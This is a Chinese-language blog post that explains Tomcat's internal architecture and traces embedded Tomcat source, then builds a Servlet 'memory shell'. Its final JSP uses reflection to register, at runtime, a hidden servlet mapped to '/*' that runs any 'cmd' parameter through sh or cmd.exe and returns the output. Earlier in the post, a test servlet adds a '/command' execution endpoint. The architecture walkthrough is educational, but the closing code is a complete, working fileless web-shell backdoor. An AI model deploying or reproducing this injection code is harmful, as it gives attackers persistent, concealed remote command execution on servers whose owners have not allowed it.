Skip to content

Tomcat

date
2023-09-10 12:08:13

http://scassis.cn/blog/2018/12/15/Java-Web-learning-note-16/

https://www.yuque.com/tianxiadamutou/zcfd4v

基础知识

image

  • Server:服务器,一个 Tomcat 启动后就是一个服务器感觉可以类比为 nginx 服务器这种的一个性质
  • Service:服务,就是 Connector 连接器和 Engine 引擎的组合
  • Connector:连接器,用于处理连接和并发,通常包括两种方式 HTTP 和 AJP。AJP一般用于搭配 Apache 服务器 。
  • Engine:引擎,所有的请求都是通过处理引擎处理的
  • Host:虚拟主机,用于进行请求的映射处理。每个虚拟主机可以看做独立的请求文件。
  • Realm:用于配置安全管理角色,通常读取 tomcat-uesrs.xml 进行验证
  • Context:web 应用程序的上下文环境,包括应用的资源、Servlet 映射、会话管理等,可以表示为一个 web 应用程序。
  • Wrapper:负责管理 Servlet,其封装了 Servlet 的生命周期和请求处理细节

请求的处理流程:

image

从 tomcat 的配置文件 server.xml 来看它的结构:

<?xml version="1.0" encoding="UTF-8"?>
<!-- Tomcat 服务器 -->
<Server port="8005" shutdown="SHUTDOWN">
  <!-- 多个监听器 -->
  <Listener className="org.apache.catalina.startup.VersionLoggerListener" />
  <Listener className="org.apache.catalina.core.AprLifecycleListener" SSLEngine="on" />
  <Listener className="org.apache.catalina.core.JreMemoryLeakPreventionListener" />
  <Listener className="org.apache.catalina.mbeans.GlobalResourcesLifecycleListener" />
  <Listener className="org.apache.catalina.core.ThreadLocalLeakPreventionListener" />

  <!-- -->
  <!-- 服务 -->
  <Service name="Catalina">
    <!-- 连接器 => 8080 端口的 HTTP 协议的连接 -->
    <Connector port="8080" protocol="HTTP/1.1"
               connectionTimeout="20000"
               redirectPort="8443" />
    <!-- 引擎 -->
    <Engine name="Catalina" defaultHost="localhost">
      <Realm className="org.apache.catalina.realm.LockOutRealm">
        <Realm className="org.apache.catalina.realm.UserDatabaseRealm"
               resourceName="UserDatabase"/>
      </Realm>
      <!-- 虚拟主机 -->
      <Host name="localhost"  appBase="webapps"
            unpackWARs="true" autoDeploy="true">
        <Valve className="org.apache.catalina.valves.AccessLogValve" directory="logs"
               prefix="localhost_access_log" suffix=".txt"
               pattern="%h %l %u %t &quot;%r&quot; %s %b" />
      </Host>
    </Engine>
  </Service>
</Server>

Host 虚拟主机中是 Context 可以再看一下 context.xml,可以看到里面是 web.xml 也就是它的 web 程序的配置了:

1
2
3
4
5
<Context>
    <!-- 监控资源列表, 如果有变动就重新加载 -->                            
    <WatchedResource>WEB-INF/web.xml</WatchedResource>
    <WatchedResource>${catalina.base}/conf/web.xml</WatchedResource>
</Context>

从上面的图中可以看到 Context 上下文中是 Wrapper,这里介绍一下 Wrapper:

Wrapper 主要负责管理 Servlet,每个 Wrapper 实例对应一个 Servlet,它处理与 Servlet 相关的请求和响应,其封装了 Servlet 的生命周期和请求处理细节。它其实就是 Tomcat 用于管理 Servlet 实例的。

而 Servlet 是 Server Applet 的缩写,译为“服务器端小程序”,是一种使用 Java 语言来开发动态网站的技术。

上面说的 Servlet 是一种技术,也就是说它其实并不是 Tomcat 的独有的,Tomcat 只是 Servlet 的一个容器,除了 Tomcat 之外还有 Jetty、Spring 等都是 Servlet 的容器,而 Java Servlet 就是 Java 中用于处理 web 请求的一个接口。

image

image

当一个Web应用程序被部署时,Tomcat 会根据 web.xml 中的 定义来创建相应的 Servlet 类实例,并为每个 Servlet 创建一个 Wrapper。这些 Wrapper 会根据 web.xml 中的配置自动关联到对应的Servlet。

<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee
         http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd"
         version="3.1">

    <!-- 应用的显示名称 -->
    <display-name>My Web Application</display-name>

    <!-- 应用的描述 -->
    <description>A basic web application example</description>

    <!-- 配置 Servlet -->
    <servlet>
        <servlet-name>HelloWorldServlet</servlet-name>
        <servlet-class>com.example.HelloWorldServlet</servlet-class>
    </servlet>

    <!-- 映射 Servlet 到 URL -->
    <servlet-mapping>
        <servlet-name>HelloWorldServlet</servlet-name>
        <url-pattern>/hello</url-pattern>
    </servlet-mapping>

    <!-- 配置 Filter -->
    <filter>
        <filter-name>ExampleFilter</filter-name>
        <filter-class>com.example.ExampleFilter</filter-class>
    </filter>

    <!-- 映射 Filter 到 URL -->
    <filter-mapping>
        <filter-name>ExampleFilter</filter-name>
        <url-pattern>/*</url-pattern>
    </filter-mapping>

    <!-- 配置 Listener -->
    <listener>
        <listener-class>com.example.ContextListener</listener-class>
    </listener>

    <!-- 配置会话超时(以分钟为单位) -->
    <session-config>
        <session-timeout>15</session-timeout>
    </session-config>

    <!-- 配置MIME类型 -->
    <mime-mapping>
        <extension>html</extension>
        <mime-type>text/html</mime-type>
    </mime-mapping>

    <!-- 配置错误页面 -->
    <error-page>
        <error-code>404</error-code>
        <location>/error-404.html</location>
    </error-page>

    <!-- 配置资源的欢迎页面 -->
    <welcome-file-list>
        <welcome-file>index.html</welcome-file>
        <welcome-file>index.htm</welcome-file>
        <welcome-file>index.jsp</welcome-file>
    </welcome-file-list>

    <!-- 配置安全约束 -->
    <security-constraint>
        <web-resource-collection>
            <web-resource-name>Protected Area</web-resource-name>
            <url-pattern>/protected/*</url-pattern>
        </web-resource-collection>
        <auth-constraint>
            <role-name>admin</role-name>
        </auth-constraint>
    </security-constraint>

    <!-- 配置安全角色 -->
    <security-role>
        <role-name>admin</role-name>
    </security-role>

</web-app>
可以看到 web.xml 主要由 servlet、filter、listener 及其映射组成:

Filter ( 过滤器 )用于在请求到达Servlet之前或响应发送给客户端之后,对请求和响应进行预处理和后处理。

Listener(监听器)监听 Web 应用程序中的各种事件并做出响应的处理。

具体之前学习过 监听器和过滤器[^1] 。

servlet 内存马

代码分析

这里使用嵌入式 Tomcat 去运行项目:

pom.xml

    <dependency>
      <groupId>org.apache.tomcat.embed</groupId>
      <artifactId>tomcat-embed-core</artifactId>
      <version>9.0.83</version>
      <scope>compile</scope>
    </dependency>
    <dependency>
      <groupId>org.apache.tomcat.embed</groupId>
      <artifactId>tomcat-embed-jasper</artifactId>
      <version>9.0.83</version>
      <scope>compile</scope>
    </dependency>

然后 Main.java:

import org.apache.catalina.Context;
import org.apache.catalina.LifecycleException;
import org.apache.catalina.startup.Tomcat;
import java.io.File;

public class Main {
    public static void main(String[] args) throws LifecycleException {
        Tomcat tomcat = new Tomcat();
        tomcat.getConnector(); 
        Context context = tomcat.addWebapp("", new File(".").getAbsolutePath());
        Tomcat.addServlet(context, "helloServlet", new demo());
        context.addServletMappingDecoded("/hello", "helloServlet");
        tomcat.start();
        tomcat.getServer().await();
    }
}

之后点进去 tomcat 相关的 class 中,下载源代码。

编写主函数:

import org.apache.catalina.Context;
import org.apache.catalina.LifecycleException;
import org.apache.catalina.startup.Tomcat;
import java.io.File;

public class Main {
    public static void main(String[] args) throws LifecycleException {
        // Tomcat 服务器 => Server
        Tomcat tomcat = new Tomcat();
        // Connector 连接器
        tomcat.getConnector(); 
        // 创建了一个 Context 上下文 => web 应用程序的上下文环境,包括应用的资源、Servlet 映射、会话管理等,可以表示为一个 web 应用程序
        Context context = tomcat.addWebapp("", new File(".").getAbsolutePath());
        // 添加这个 Servlet 
        Tomcat.addServlet(context, "helloServlet", new demo());
        // 添加这个 Servlet 的 url 映射
        context.addServletMappingDecoded("/hello", "helloServlet");
        // 启动
        tomcat.start();
        tomcat.getServer().await();
    }
}

然后开始跟:

连接器:

public Connector getConnector() {
    // 获取 Service 就是上面说的 Connector 连接器和 Engine 引擎的组合 
    Service service = getService();
    // 从 Service 中寻找连接器, 如果有的话就 OK
    if (service.findConnectors().length > 0) {
        return service.findConnectors()[0];
    }
    // The same as in standard Tomcat configuration.
    // This creates an APR HTTP connector if AprLifecycleListener has been
    // configured (created) and Tomcat Native library is available.
    // Otherwise it creates a NIO HTTP connector.
    // 创建 HTTP 协议的连接器
    Connector connector = new Connector("HTTP/1.1");
    // 设置端口
    connector.setPort(port);
    // 将连接器添加到 Service 中
    service.addConnector(connector);
    return connector;
}

然后看上下文:

public Host getHost() {
    // 引擎
    Engine engine = getEngine();
    if (engine.findChildren().length > 0) {
        return (Host) engine.findChildren()[0];
    }
    // 创建一个 Standard 的 Host
    Host host = new StandardHost();
    // 设置 hostname
    host.setName(hostname);
    // 添加到引擎中 => 上面也介绍过引擎中可以有有多个虚拟主机
    getEngine().addChild(host);
    return host;
}   

public Context addWebapp(String contextPath, String docBase) {
    // 添加一个 web 应用
    // getHost() 就是上面的虚拟主机  
    return addWebapp(getHost(), contextPath, docBase);
}


public Context addWebapp(Host host, String contextPath, String docBase) {
    LifecycleListener listener = null;
    try {
        // 从 Host 中获取一个监听器
        Class<?> clazz = Class.forName(getHost().getConfigClass());
        listener = (LifecycleListener) clazz.getConstructor().newInstance();
    } catch (ReflectiveOperationException e) {
        // Wrap in IAE since we can't easily change the method signature to
        // to throw the specific checked exceptions
        throw new IllegalArgumentException(e);
    }
    // 继续跟进
    return addWebapp(host, contextPath, docBase, listener);
}

// 创建了一个 StandardContext 
private Context createContext(Host host, String url) {
    String defaultContextClass = StandardContext.class.getName();
    String contextClass = StandardContext.class.getName();
    if (host == null) {
        host = this.getHost();
    }
    if (host instanceof StandardHost) {
        contextClass = ((StandardHost) host).getContextClass();
    }
    try {
        if (defaultContextClass.equals(contextClass)) {
            return new StandardContext();
        } else {
            return (Context) Class.forName(contextClass).getConstructor()
                .newInstance();
        }

    } catch (ReflectiveOperationException  | IllegalArgumentException | SecurityException e) {
        throw new IllegalArgumentException(sm.getString("tomcat.noContextClass", contextClass, host, url), e);
    }
}

public Context addWebapp(Host host, String contextPath, String docBase,
        LifecycleListener config) {

    silence(host, contextPath);
    // 创建 StandardContext 上下文
    Context ctx = createContext(host, contextPath);
    ctx.setPath(contextPath);
    ctx.setDocBase(docBase);
    // 添加默认的 web.xml 到这个上下文中
    if (addDefaultWebXmlToWebapp) {
        ctx.addLifecycleListener(getDefaultWebXmlListener());
    }

    ctx.setConfigFile(getWebappConfigFile(docBase, contextPath));

    ctx.addLifecycleListener(config);

    if (addDefaultWebXmlToWebapp && (config instanceof ContextConfig)) {
        // prevent it from looking ( if it finds one - it'll have dup error )
        ((ContextConfig) config).setDefaultWebXml(noDefaultWebXmlPath());
    }
    // 把这个上下文添加到这个虚拟主机中
    if (host == null) {
        getHost().addChild(ctx);
    } else {
        host.addChild(ctx);
    }

    return ctx;
}


public LifecycleListener getDefaultWebXmlListener() {
    return new DefaultWebXmlListener();
}


public static class DefaultWebXmlListener implements LifecycleListener {
    @Override
    public void lifecycleEvent(LifecycleEvent event) {
        if (Lifecycle.BEFORE_START_EVENT.equals(event.getType())) {
            // 初始默认的 webapp 
            initWebappDefaults((Context) event.getLifecycle());
        }
    }
}

单独摘出来看:

// 这里其实就是在处理上面展示的那个默认 web.xml
public static void initWebappDefaults(Context ctx) {
    // Default servlet
    // 添加 Servlet
    Wrapper servlet = addServlet(
            ctx, "default", "org.apache.catalina.servlets.DefaultServlet");
    // 设置加载顺序, 数字越小越早加载, 1 就是最小的了
    servlet.setLoadOnStartup(1);
    // 表示可以被其他的 servlet 覆盖掉
    servlet.setOverridable(true);

    // JSP servlet (by class name - to avoid loading all deps)
    servlet = addServlet(
            ctx, "jsp", "org.apache.jasper.servlet.JspServlet");
    // 初始化的参数
    servlet.addInitParameter("fork", "false");
    servlet.setLoadOnStartup(3);
    servlet.setOverridable(true);

    // Servlet mappings
    // 在我们获取的 StandardContext  中添加关于这个 Servlet 的 url 映射
    ctx.addServletMappingDecoded("/", "default");
    ctx.addServletMappingDecoded("*.jsp", "jsp");
    ctx.addServletMappingDecoded("*.jspx", "jsp");

    // Sessions
    ctx.setSessionTimeout(30);

    // MIME type mappings
    addDefaultMimeTypeMappings(ctx);

    // Welcome files
    ctx.addWelcomeFile("index.html");
    ctx.addWelcomeFile("index.htm");
    ctx.addWelcomeFile("index.jsp");
}


// 添加 servlet 
public static Wrapper addServlet(Context ctx,
                                    String servletName,
                                    String servletClass) {
    // will do class for name and set init params
    // 创建一个 Wrapper 上面也说过就是 它处理与 Servlet 相关的请求和响应,其封装了 Servlet 的生命周期和请求处理细节
    Wrapper sw = ctx.createWrapper();
    if (sw == null) {
        return null;
    }
    // 设置 servlet 的 class
    sw.setServletClass(servletClass);
    // 设置 servlet 的名字
    sw.setName(servletName);
    // 添加到上下文中
    ctx.addChild(sw);

    return sw;
}

// StandardContext 的 createWrapper
public Wrapper createWrapper() {

    Wrapper wrapper = null;
    if (wrapperClass != null) {
        try {
            wrapper = (Wrapper) wrapperClass.getConstructor().newInstance();
        } catch (Throwable t) {
            ExceptionUtils.handleThrowable(t);
            log.error(sm.getString("standardContext.createWrapper.error"), t);
            return null;
        }
    } else {
        // 这里
        wrapper = new StandardWrapper();
    }

    synchronized (wrapperLifecyclesLock) {
        for (String wrapperLifecycle : wrapperLifecycles) {
            try {
                Class<?> clazz = Class.forName(wrapperLifecycle);
                LifecycleListener listener = (LifecycleListener) clazz.getConstructor().newInstance();
                wrapper.addLifecycleListener(listener);
            } catch (Throwable t) {
                ExceptionUtils.handleThrowable(t);
                log.error(sm.getString("standardContext.createWrapper.listenerError"), t);
                return null;
            }
        }
    }

    synchronized (wrapperListenersLock) {
        for (String wrapperListener : wrapperListeners) {
            try {
                Class<?> clazz = Class.forName(wrapperListener);
                ContainerListener listener = (ContainerListener) clazz.getConstructor().newInstance();
                wrapper.addContainerListener(listener);
            } catch (Throwable t) {
                ExceptionUtils.handleThrowable(t);
                log.error(sm.getString("standardContext.createWrapper.containerListenerError"), t);
                return null;
            }
        }
    }

    return wrapper;
}

tomcat-embed-core 初始化的流程其实就完全符合我们上面的 Tomat 的架构。

这里整理一下和 Servlet 相关的:

  1. 创建 StandardContext 上下文 createContext(Host host, String url)
  2. 根据 Servlet 的名称和类创建一个 Wrapper addServlet​(Context ctx,String servletName,String servletClass)

    1. Wrapper sw = ctx.createWrapper(); 创建一个 Wrapper => wrapper = new StandardWrapper()
    2. sw.setServletClass(servletClass); 设置 Servlet Class
    3. sw.setName(servletName); 设置 servlet 名称
    4. ctx.addChild(sw); 将 Wrapper 添加到上下文中
    5. servlet.setLoadOnStartup(1) 设置加载顺序, 数字越小越早加载, 1 就是最小的了
    6. 表示可以被其他的 servlet 覆盖掉 servlet.setOverridable(true);
    7. 将 StandardContext 这个上下文添加到虚拟机主机 Host 中 host.addChild(ctx);

这里写一个接口先去实现一下这个流程:

Main.java :

public class Main {
    public static void main(String[] args) throws LifecycleException {
        Tomcat tomcat = new Tomcat();
        tomcat.getConnector();
        Context context = tomcat.addWebapp("", new File(".").getAbsolutePath());
        // 实现添加 servlet 的类
        Tomcat.addServlet(context, "test", new test());
        context.addServletMappingDecoded("/test", "test");
        tomcat.start();
        tomcat.getServer().await();
    }
}

test 类:

import org.apache.catalina.Wrapper;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.core.StandardWrapper;

import javax.servlet.ServletContext;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.lang.reflect.Field;

public class test extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        try {
            // 1. 获取 StandardContext
            ServletContext servletContext = req.getSession().getServletContext();
            Field appctx = servletContext.getClass().getDeclaredField("context");
            appctx.setAccessible(true);
            ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
            Field stdctx = applicationContext.getClass().getDeclaredField("context");
            stdctx.setAccessible(true);
            StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
            // 2. 创建一个 Wrapper
            StandardWrapper sw = new StandardWrapper();
            // 3. 设置 servlet 类名 => demo 时我们的恶意类
            sw.setServletClass("demo");
            // 4. 设置 servlet 名字
            sw.setName("command");
            // 5. 添加到上下文
            standardContext.addChild(sw);
            // 6. 处理映射
            standardContext.addServletMappingDecoded("/command","command");
        } catch ( Exception e ) {
            e.printStackTrace();
        }
    }
}

然后访问 /test​ 后就可以在 /command​ 接口进行命令执行了。

现在有一个问题,为什么只需要 sw.setServletClass​ 这里只需要一个名字?

那我们使用 JSP 或者反序列化等方式实现这个流程的时候,只需要写我们这里的类名就可以了吗?这个就很不合理了,因为 JSP 运行的时候,JSP 是可以知道这个 Servlet 类是谁的,但是注入内存马后,Tomcat 是不知道这个 Servelt 是谁的,这要怎么办。

所以这里就在我们的 demo 恶意类这里打上断点,访问 /test​ 添加 servlet 然后访问 /command​ 具体的调用流程:

  1. demo servlet class
  2. org.apache.catalina.core.DefaultInstanceManager:newInstance(String className)
  3. org.apache.catalina.core.StandardWrapper:loadServlet()​​
  4. org.apache.catalina.core.StandardWrapper:allocate()
  5. org.apache.catalina.core.StandardWrapperValve invoke(Request request, Response response)
  6. .....

来到 loadServlet()​ 名字就是加载 Servlet:

public synchronized Servlet loadServlet() throws ServletException {

    // Nothing to do if we already have an instance or an instance pool
    // 如果已经有实例了就直接返回
    if (!singleThreadModel && (instance != null)) {
        return instance;
    }

    Servlet servlet;
    try {

        InstanceManager instanceManager = ((StandardContext) getParent()).getInstanceManager();
        try {
            // 这里获取到 Servlet 实例, 根据类名去创建实例
            servlet = (Servlet) instanceManager.newInstance(servletClass);
        } catch (Throwable e) {
            // ....
        }

        // Special handling for ContainerServlet instances
        // Note: The InstanceManager checks if the application is permitted
        // to load ContainerServlets
        if (servlet instanceof ContainerServlet) {
            ((ContainerServlet) servlet).setWrapper(this);
        }

        classLoadTime = (int) (System.currentTimeMillis() - t1);

        if (servlet instanceof SingleThreadModel) {
            if (instancePool == null) {
                instancePool = new Stack<>();
            }
            singleThreadModel = true;
        }
        // 初始化 servlet
        initServlet(servlet);
        // 事件,监听器
        fireContainerEvent("load", this);

        loadTime = System.currentTimeMillis() - t1;
    } finally {
        // .....
    }
    return servlet;

}

可以看到就是先判断有没有实例,有的话就直接返回,没有的话根据类名去创建。还是上面的问题,根据类名去注入内存马很明显不太可能,那就只有实例这里了。

看一下写入的地方就可以发现有一个 public void setServlet(Servlet servlet)​ 意味着我们可以直接调用,那么问题就解决了!

image

这样就可以了,直接给一个 Servlet 对象,然后后续 Tomcat 直接使用这个对象就行了。

1
2
3
4
5
6
// 2. 创建一个 Wrapper
StandardWrapper sw = new StandardWrapper();
// 3. 设置 servlet 实例
sw.setServlet(new demo());
// 4. 设置 servlet 名字
sw.setName("command");

继续向下跟看一下initServlet(servlet)​ 是做什么的:

private synchronized void initServlet(Servlet servlet) throws ServletException {
    // 看下是否初始化过
    if (instanceInitialized && !singleThreadModel) {
        return;
    }

    // Call the initialization method of this servlet
    try {
        if (Globals.IS_SECURITY_ENABLED) {
                // 
            }
        } else {
            // 调用了 servlet 的 init 方法
            servlet.init(facade);
        }
        // 表示初始化过了
        instanceInitialized = true;
    } 
    // ****

然后是 fireContainerEvent

public void fireContainerEvent(String type, Object data) {

    if (listeners.size() < 1) {
        return;
    }

    ContainerEvent event = new ContainerEvent(this, type, data);
    // Note for each uses an iterator internally so this is safe
    for (ContainerListener listener : listeners) {
        listener.containerEvent(event);
    }
}

继续向下 org.apache.catalina.core.StandardWrapperValve invoke(Request request, Response response)​ :

// Allocate a servlet instance to process this request
// 为这个请求分配一个 servlet 去处理
try {
    if (!unavailable) {
        servlet = wrapper.allocate();
    }
    // .....
}

// 请求
MessageBytes requestPathMB = request.getRequestPathMB();
DispatcherType dispatcherType = DispatcherType.REQUEST;
if (request.getDispatcherType() == DispatcherType.ASYNC) {
    dispatcherType = DispatcherType.ASYNC;
}
request.setAttribute(Globals.DISPATCHER_TYPE_ATTR, dispatcherType);
request.setAttribute(Globals.DISPATCHER_REQUEST_PATH_ATTR, requestPathMB);
// Create the filter chain for this request
// 创建一个 filter 过滤器
ApplicationFilterChain filterChain = ApplicationFilterFactory.createFilterChain(request, wrapper, servlet);
// Call the filter chain for this request
// NOTE: This also calls the servlet's service() method
// 处理过滤器链和调用 servlet 的 service() 方法
Container container = this.container;
try {
    if ((servlet != null) && (filterChain != null)) {
        // ....
        // 调用 doFilter 函数
        filterChain.doFilter(request.getRequest(), response.getResponse());
    }
} finally {
    // Release the filter chain (if any) for this request
    // 释放过滤链
    if (filterChain != null) {
        filterChain.release();
    }

    // 释放已分配的servlet实例
    try {
        if (servlet != null) {
            wrapper.deallocate(servlet);
        }
    } catch (Throwable e) {

}

跟进 filterChain.doFilter

public void doFilter(ServletRequest request, ServletResponse response) throws IOException, ServletException {

    if (Globals.IS_SECURITY_ENABLED) {
        final ServletRequest req = request;
        final ServletResponse res = response;
        try {
            // ....
        }
    } else {
        internalDoFilter(request, response);
    }
}

private void internalDoFilter(ServletRequest request, ServletResponse response)
        throws IOException, ServletException {

    // Call the next filter if there is one
    // 调用过滤器
    if (pos < n) {
        ApplicationFilterConfig filterConfig = filters[pos++];
        try {
            // 拿到 Filter
            Filter filter = filterConfig.getFilter();

            if (request.isAsyncSupported() &&
                    "false".equalsIgnoreCase(filterConfig.getFilterDef().getAsyncSupported())) {
                request.setAttribute(Globals.ASYNC_SUPPORTED_ATTR, Boolean.FALSE);
            }
            if (Globals.IS_SECURITY_ENABLED) {
                final ServletRequest req = request;
                final ServletResponse res = response;
                Principal principal = ((HttpServletRequest) req).getUserPrincipal();

                Object[] args = new Object[] { req, res, this };
                SecurityUtil.doAsPrivilege("doFilter", filter, classType, args, principal);
            } else {
                // 调用过滤器的 doFilter 方法
                filter.doFilter(request, response, this);
            }
        } 
        // ***** return ....
    }

    // We fell off the end of the chain -- call the servlet instance
    // 通过过滤器就调用 servlet 的 service 方法
    try {
        if (ApplicationDispatcher.WRAP_SAME_OBJECT) {
            lastServicedRequest.set(request);
            lastServicedResponse.set(response);
        }

        if (request.isAsyncSupported() && !servletSupportsAsync) {
            request.setAttribute(Globals.ASYNC_SUPPORTED_ATTR, Boolean.FALSE);
        }
        // Use potentially wrapped request from this point
        if ((request instanceof HttpServletRequest) && (response instanceof HttpServletResponse) &&
                Globals.IS_SECURITY_ENABLED) {
            final ServletRequest req = request;
            final ServletResponse res = response;
            Principal principal = ((HttpServletRequest) req).getUserPrincipal();
            Object[] args = new Object[] { req, res };
            SecurityUtil.doAsPrivilege("service", servlet, classTypeUsedInService, args, principal);
        } else {
            // 调用 service 方法
            servlet.service(request, response);
        }
    } 
    // .....
}

service 方法就是根据请求方法去调用不同的处理函数:

protected void service(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
    // 请求方法
    String method = req.getMethod();

    if (method.equals(METHOD_GET)) {
        // ....
        doGet(req, resp);
        // ....
    } else if (method.equals(METHOD_HEAD)) {
        long lastModified = getLastModified(req);
        maybeSetLastModified(resp, lastModified);
        doHead(req, resp);

    } else if (method.equals(METHOD_POST)) {
        doPost(req, resp);

    } else if (method.equals(METHOD_PUT)) {
        doPut(req, resp);

    } else if (method.equals(METHOD_DELETE)) {
        doDelete(req, resp);

    } else if (method.equals(METHOD_OPTIONS)) {
        doOptions(req, resp);

    } else if (method.equals(METHOD_TRACE)) {
        doTrace(req, resp);

    } else {
        //
        // Note that this means NO servlet supports whatever
        // method was requested, anywhere on this server.
        //

        String errMsg = lStrings.getString("http.method_not_implemented");
        Object[] errArgs = new Object[1];
        errArgs[0] = method;
        errMsg = MessageFormat.format(errMsg, errArgs);

        resp.sendError(HttpServletResponse.SC_NOT_IMPLEMENTED, errMsg);
    }
}

内存马实现

Servlet 内存马注册流程:

  1. 创建 StandardContext 上下文 createContext(Host host, String url)
  2. 根据 Servlet 的名称和类创建一个 Wrapper addServlet(Context ctx,String servletName,String servletClass)

    1. Wrapper sw = ctx.createWrapper(); 创建一个 Wrapper => wrapper = new StandardWrapper()
    2. sw.setServlet(servlet); 设置 Servlet 对象
    3. sw.setName(servletName); 设置 servlet 名称
    4. ctx.addChild(sw); 将 Wrapper 添加到上下文中
    5. servlet.setLoadOnStartup(1) 设置加载顺序, 数字越小越早加载, 1 就是最小的了,但是这里的加载顺序其实是启动的时候,这里我们已经设置好了 Servlet 了,没有必要在意
    6. 表示可以被其他的 servlet 覆盖掉 servlet.setOverridable(true);
    7. 将 StandardContext 这个上下文添加到虚拟机主机 Host 中 host.addChild(ctx);

JSP 中的 <% %> ​ 中是可以执行 Java 代码的,所以可以仿照上面的直接写了。

获取 StandardContext​ 的方式:

// 方式 1
ServletContext servletContext =  request.getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
// 方式 2
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext standardContext = (StandardContext) req.getContext();

整体如下:

<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.Wrapper" %>

<%
    // 命令执行 Servlet
    HttpServlet servlet = new HttpServlet() {
        @Override
        protected void service(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
            if (request.getParameter("cmd") != null) {
                boolean isLinux = true;
                String osTyp = System.getProperty("os.name");
                if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                    isLinux = false;
                }
                String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")};
                InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
                Scanner s = new Scanner(in).useDelimiter("\\A");
                String output = s.hasNext() ? s.next() : "";
                response.getWriter().write(output);
                response.getWriter().flush();
            }
        }
    };
    // 1. 获取 standardContext 上下文
    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext standardContext = (StandardContext) req.getContext();
    // 2. 创建 Wrapper 对象
    Wrapper wrapper = standardContext.createWrapper();
    // 3. 设置 servlet 名称
    wrapper.setName("servletCommand");
    // 4. 设置 servlet 对象
    wrapper.setServlet(servlet);
    // 5. 装载顺序
    wrapper.setLoadOnStartup(1);
    // 6. 把 wrapper 添加到 standardContext
    standardContext.addChild(wrapper);
    // 7. 处理映射
    standardContext.addServletMappingDecoded("/*", "servletCommand");
    out.println("servletCommand Servlet Add Success !");
%>

访问后就注入成功了。

[^1]: ## 监听器和过滤器

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
### 过滤器 Filter

过滤器就是在客户端和服务端之间添加了一个滤网,客户端的请求响应去服务端,先要走过滤器,能过去了才发送的服务端交给 Servlet 处理,响应通用也可以实现过滤器,不过通常都是过滤请求。

```java
package com.demo.ex.filter;

import javax.servlet.*;
import java.io.IOException;


public class Test implements Filter {


    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
        Filter.super.init(filterConfig);
    }

    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        // 实现具体的 Filter
    }

    @Override
    public void destroy() {
        Filter.super.destroy();
    }
}
```
之后需要配置 Filter 对应的路径或者对应的路由,可以在 web.xml 中配置,也可以使用注解实现。

```xml
  <filter>
    <filter-name>test</filter-name>
    <filter-class>com.demo.ex.filter.Test</filter-class>
  </filter>
  <filter-mapping>
    <filter-name>test</filter-name>
    <url-pattern>/*</url-pattern>
  </filter-mapping>
```
```java
@WebFilter(urlPatterns = "/*")
```
### 监听器 Listener

监听器就是监听某个域对象的的状态变化的组件。

* 事件源:被监听的对象 (三个域对象 request、session、servletContext)
* 监听器:监听事件源对象事件源对象的状态的变化都会触发监听器
* 注册监听器:将监听器与事件源进行绑定
* 响应行为:监听器监听到事件源的状态变化时所涉及的功能代码(程序员编写代码)

简单来说就是程序会监听某个行为,然后在这个行为发生的时候去做对应的处理。比如生病事件,处理就是吃药看医生这样。

分类:

1. 按照被监听的对象划分:ServletRequest域、HttpSession域、ServletContext域
2. 按照监听的内容分:监听域对象的创建与销毁的、监听域对象的属性变化的:

​![a2](assets/a2-20241209215931-cike4ll.png)​

创建监听器去实现要监听对象的接口比如 ServletContextListener ,实现器方法即可。

配置:

```xml
<listener>
    <listener-class>com.example.MyServletContextListener</listener-class>
</listener>
```
​![image-20240203142238126](assets/image-20240203142238126-20241209215931-reoentl.png)​